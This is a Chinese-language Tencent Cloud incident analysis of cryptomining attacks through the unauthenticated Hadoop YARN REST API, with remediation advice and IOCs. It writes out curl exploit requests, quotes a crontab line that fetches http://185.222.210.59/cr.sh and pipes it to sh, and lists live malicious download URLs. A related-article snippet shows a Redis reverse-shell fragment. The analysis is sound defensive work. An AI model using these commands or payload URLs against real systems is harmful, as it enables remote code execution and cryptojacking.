欢迎大家前往腾讯云+社区,获取更多腾讯海量技术实践干货哦~

一、背景情况

5月5日腾讯云安全曾针对攻击者利用Hadoop Yarn资源管理系统REST API未授权漏洞对服务器进行攻击,攻击者可以在未授权的情况下远程执行代码的安全问题进行预警,在预警的前后我们曾多次捕获相关的攻击案例,其中就包含利用该问题进行挖矿,我们针对其中一个案例进行分析并提供响应的安全建议和解决方案。

二、 漏洞说明

Hadoop是一个由Apache基金会所开发的分布式系统基础架构,YARN是hadoop系统上的资源统一管理平台,其主要作用是实现集群资源的统一管理和调度,可以把MapReduce计算框架作为一个应用程序运行在YARN系统之上,通过YARN来管理资源。简单的说,用户可以向YARN提交特定应用程序进行执行,其中就允许执行相关包含系统命令。

YARN提供有默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建、任务提交执行等操作,如果配置不当,REST API将会开放在公网导致未授权访问的问题,那么任何黑客则就均可利用其进行远程命令执行,从而进行挖矿等行为。

攻击步骤:

  1. 申请新的application

直接通过curl进行POST请求

curl -v -X POST

'http://ip:8088/ws/v1/cluster/apps/new-application'

返回内容类似于:

  1. 构造并提交任务

构造json文件1.json,内容如下,其中application-id对应上面得到的id,命令内容为尝试在/var/tmp目录下创建11112222_test_111122222文件,内容也为111:

然后直接

curl -s -i -X POST -H 'Accept: application/json' -H 'Content-Type:application/json'

http://ip:8088/ws/v1/cluster/apps --data-binary @1.json

即可完成攻击,命令被执行,在相应目录下可以看到生成了对应文件

更多漏洞详情可以参考

http://bbs.qcloud.com/thread-50090-1-1.html

三、入侵分析

在本次分析的案例中,受害机器部署有Hadoop YARN,并且存在未授权访问的安全问题,黑客直接利用开放在8088的REST API提交执行命令,来实现在服务器内下载执行.sh脚本,从而再进一步下载启动挖矿程序达到挖矿的目的。

整个利用过程相对比较简单,通过捕捉Hadoop 的launch_container.sh执行脚本,我们可以看到其中一个案例中相关任务执行的命令:

可以很明显的看到第8行位置,从185.222.210.59下载并执行了一个名为x_wcr.sh的脚本。

在实际过程中,我们从多个案例捕获了多个比如名为cr.sh的不同脚本,但实际的功能代码都差不多,我们对其中一个x_wcr.sh脚本进行分析,代码自上而下内容:

这部分代码主要针对已存在的挖矿进程、文件进行清理。

这部分的代码主要是判断如果/tmp/java是一个存在并且可写的文件,那么就判断其MD5值是否匹配,MD5不匹配则根据w.conf关键词查找并kill进程;如果非可写的文件,则重新赋值DIR变量,这个变量主要用于后面部分代码中下载挖矿等程序存放目录。

然后接着是一些变量的赋值,包括再次判断如果/tmp/java是一个目录,则重新赋值DIR变量;判断curl和wget命令是否存在,存在则赋值到WGET变量;f2则是赋值为某个IP,实则为是后续下载相关文件的服务器之一。

这部分代码是其中比较核心的代码,通过downloadIfNeed方法下载挖矿程序到DIR目录下并重命名为java,下载w.conf配置文件,给挖矿程序增加执行权限,然后以nohup命令后台运行挖矿程序并删除配置文件;接着检查crontab中的任务,如果不存在对应的任务,就将下载执行脚本的任务"* * * * * $LDR http://185.222.210.59/cr.sh | sh > /dev/null 2>&1"添加到其中,这里LDRwget -q -O -或者curl,任务每分钟执行一次。

脚本中还包含了几个嵌套调用的download方法,入口方法是downloadIfNeed:

这个方法的核心功能还是校验已存在的挖矿程序的MD5,如果无法验证或者文件不存在的情况,则直接调用download方法下载挖矿程序;如果文件存在但MD5匹配不正确,则调用download方法后再次验证,验证失败则尝试从另外一个下载渠道https://transfer.sh/WoGXx/zzz下载挖矿程序并再次验证。最后还将相关结果上报到目标服务器$f2的re.php.

tmp.txt内容示例:

download方法判断ppc文件的存在与否和 MD5是否匹配,如果不存在或MD5不匹配则调用download2下载,如果存在则复制重名为java。

download2方法则判断系统下载对应版本的挖矿程序,其中http://185.222.210.59/g.php返回的是另外一个IP地址;下载成功后则再次验证,并复制重命名为ppc。

在脚本的最后部分还有一些进程、文件、crontab清理的处理,用pkill删除满足条件的进程,删除tmp目录下pscd开头的文件,以及说删除crontab中存在某些关键词的任务。

至此,我们完成整个脚本的分析,虽然整个脚本比较冗长,而且似乎各个函数嵌套调用,涉及文件也众多,但其实整体就做了以下几件事:

1.清理相关的进程、文件和crontab任务

2.判断并下载挖矿程序,同时校验MD5值,除了黑客自己控制的服务器,还利用https://transfer.sh提供备用下载,多种方式保障

3.增加脚本下载执行任务添加到crontab里

其实,我们通过查看YARN的日志文件

yarn-root-nodemanager-master.hadoop.log

也可能看到相应的痕迹:

或者我们通过管理UI查看application详情:

而crontab的任务日志也能看到相关的执行记录:

最终在/var/tmp目录下也能找到相关的文件

四、安全建议

清理病毒

1.使用top查看进程,kill掉异常进程

2.检查/tmp和/var/tmp目录,删除java、ppc、w.conf等异常文件

3.检查crontab任务列表,删除异常任务

4.排查YARN日志,确认异常的application,删除处理

安全加固

1.通过iptables或者安全组配置访问策略,限制对8088等端口的访问

2.如无必要,不要将接口开放在公网,改为本地或者内网调用

3.升级Hadoop到2.x版本以上,并启用Kerberos认证功能,禁止匿名访问

4.云镜当前已支持该漏洞检测,同时也支持挖矿木马的发现,建议安装云镜并开通专业版,及时发现漏洞并修复或者在中马后能及时收到提醒进行止损

5.更多自检和修复建议可以参考

http://bbs.qcloud.com/thread-50090-1-1.html

五、IOCs

钱包地址

4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg

MD5

1.c8c1f2da51fbd0aea60e11a81236c9dc

2.183664ceb9c4d7179d5345249f1ee0c4

3.b00f4bbd82d2f5ec7c8152625684f853

矿池地址

1.158.69.133.20:3333

2.192.99.142.249:3333

3.202.144.193.110:3333

4.46.30.43.159:80

部分相关URL

  1. http://185.222.210.59/x_wcr.sh
  2. http://185.222.210.59/re.php
  3. http://185.222.210.59/g.php
  4. http://185.222.210.59/w.conf
  5. http://185.222.210.59/cr.sh
  6. http://192.99.142.226:8220/w.conf
  7. http://192.99.142.226:8220/xm64
  8. http://192.99.142.226:8220/cr.sh
  9. http://95.142.40.83/xm64
  10. http://95.142.40.83/xm32
  11. https://transfer.sh/1o3Kj/zzz
  12. https://transfer.sh/wbl5H/pscf
  13. https://transfer.sh/WoGXx/zzz

问答
腾讯云域名安全认证问题?
相关阅读
Linux Redis自动化挖矿感染蠕虫分析及安全建议 
黑客是如何实现数据库勒索的 ?
2018云+未来峰会圆桌面对面:以网络安全之能,造国之重器

此文已由作者授权腾讯云+社区发布,原文链接:https://cloud.tencent.com/developer/article/1142503?fromSource=waitui

欢迎大家前往腾讯云+社区或关注云加社区微信公众号(QcloudCommunity),第一时间获取更多海量技术实践干货哦~

Hadoop Yarn REST API未授权漏洞利用挖矿分析的更多相关文章

  1. Hadoop Yarn REST API未授权漏洞利用

    Hadoop Yarn REST API未授权漏洞利用 Hadoop是一个由Apache基金会所开发的分布式系统基础架构,YARN是hadoop系统上的资源统一管理平台,其主要作用是实现集群资源的统一 ...

  2. yarn rest api未授权漏洞

    项目集群之前在yarn8088的web资源管理页面上看到一堆莫名的定时任务,就是黑客利用漏洞挖矿,最后禁用了8088端口. freebuff传送门: https://www.freebuf.com/v ...

  3. redis 未授权漏洞利用直接登录服务器

    在没有查到杀手之前我是先把带宽&端口用iptables 做了限制这样能保证我能远程操作服务器才能查找原因 2 在各种netstat –ntlp  的查看下没有任何异常 在top 下查到了有异常 ...

  4. Redis未授权漏洞利用方式

    总结一下redis未授权拿shell: redis-cli -h ip >info 查看系统类型 Windows: 1.找网站绝对路径 2.config set dir 绝对路径根路径 conf ...

  5. 【转+自己研究】新姿势之Docker Remote API未授权访问漏洞分析和利用

    0x00 概述 最近提交了一些关于 docker remote api 未授权访问导致代码泄露.获取服务器root权限的漏洞,造成的影响都比较严重,比如 新姿势之获取果壳全站代码和多台机器root权限 ...

  6. [Shell]Docker remote api未授权访问漏洞(Port=2375)

    0x01 简介 该未授权访问漏洞是因为docker remote api可以执行docker命令,从官方文档可以看出,该接口是目的是取代docker 命令界面,通过url操作docker. Docke ...

  7. hadoop Yarn 编程API

    客户端编程库: 所在jar包: org.apache.hadoop.yarn.client.YarnClient 使用方法: 1 定义一个YarnClient实例: private YarnClien ...

  8. 关于docker remote api未授权访问漏洞的学习与研究

    漏洞介绍: 该未授权访问漏洞是因为docker remote api可以执行docker命令,从官方文档可以看出,该接口是目的是取代docker 命令界面,通过url操作docker. docker ...

  9. redis未授权漏洞和主从复制rce漏洞利用

    未授权无需认证访问内部数据库. 利用计划任务反弹shell redis-cli -h 192.168.2.6 set x "\n* * * * * bash -i >& /de ...

随机推荐

  1. web api 设置允许跨域,并设置预检请求时间

    <httpProtocol> <customHeaders> <!--响应类型 (值为逗号分隔的一个字符串,表明服务器支持的所有跨域请求的方法)--> <ad ...

  2. 一条命令深度清理你的mac

    一条命令深度清理你的mac mac 用了一段时间后很快发现硬盘空间不够了,就想找一些磁盘清理的工具,但是发现居然都是收费的. 就手工操作吧.方法其实非常简单. 就一条命令, cd / du -hd 5 ...

  3. 和Webbrowser进行简单交互

    作为第一篇,简单的控件使用就不说了. 直接从简单的交互开始吧! C#使用网页中已有的js函数 webBrowser.Document.InvokeScript("Stop");// ...

  4. bzoj2440完全平方数

    题目链接 上来先吐槽题面!!!!!! 你跟我说$1$不是完全平方数昂? 看了半天样例啊. 活生生的半天$……$ 莫比乌斯 反演    函数容斥一下,每次二分就好 反正本宝宝不知道反演是啥. 每次判断应 ...

  5. loj #2508. 「AHOI / HNOI2018」游戏

    #2508. 「AHOI / HNOI2018」游戏 题目描述 一次小 G 和小 H 在玩寻宝游戏,有 nnn 个房间排成一列,编号为 1,2,…,n,相邻房间之间都有 111 道门.其中一部分门上有 ...

  6. mysql 远程访问不行解决方法 Host is not allowed to connect to this MySQL server

    mysql 远程访问不行解决方法 Host is not allowed to connect to this MySQL server 如果你想连接你的mysql的时候发生这个错误: ERROR 1 ...

  7. 消息中间件ActiveMQ、RabbitMQ、RocketMQ、ZeroMQ、Kafka如何选型?

    最近要为公司的消息队列中间件进行选型,市面上相关的开源技术又非常多,如ActiveMQ.RabbitMQ.ZeroMQ.Kafka,还有阿里巴巴的RocketMQ等. 这么多技术,如何进行选型呢? 首 ...

  8. Python之路Python全局变量与局部变量、函数多层嵌套、函数递归

    Python之路Python全局变量与局部变量.函数多层嵌套.函数递归 一.局部变量与全局变量 1.在子程序中定义的变量称为局部变量,在程序的一开始定义的变量称为全局变量.全局变量作用域是整个程序,局 ...

  9. JavaScript学习笔记——4.数组

    数组(Array) 数组也是一个对象   数组中保存的内容我们称为元素 数组的操作 - 创建数组 - var arr = new Array();   - var arr = []; 例如:var m ...

  10. css文章

    前端HTML-CSS规范:https://yq.aliyun.com/articles/51487 jQuery+d3绘制流程图:https://blog.csdn.net/zitong_ccnu/a ...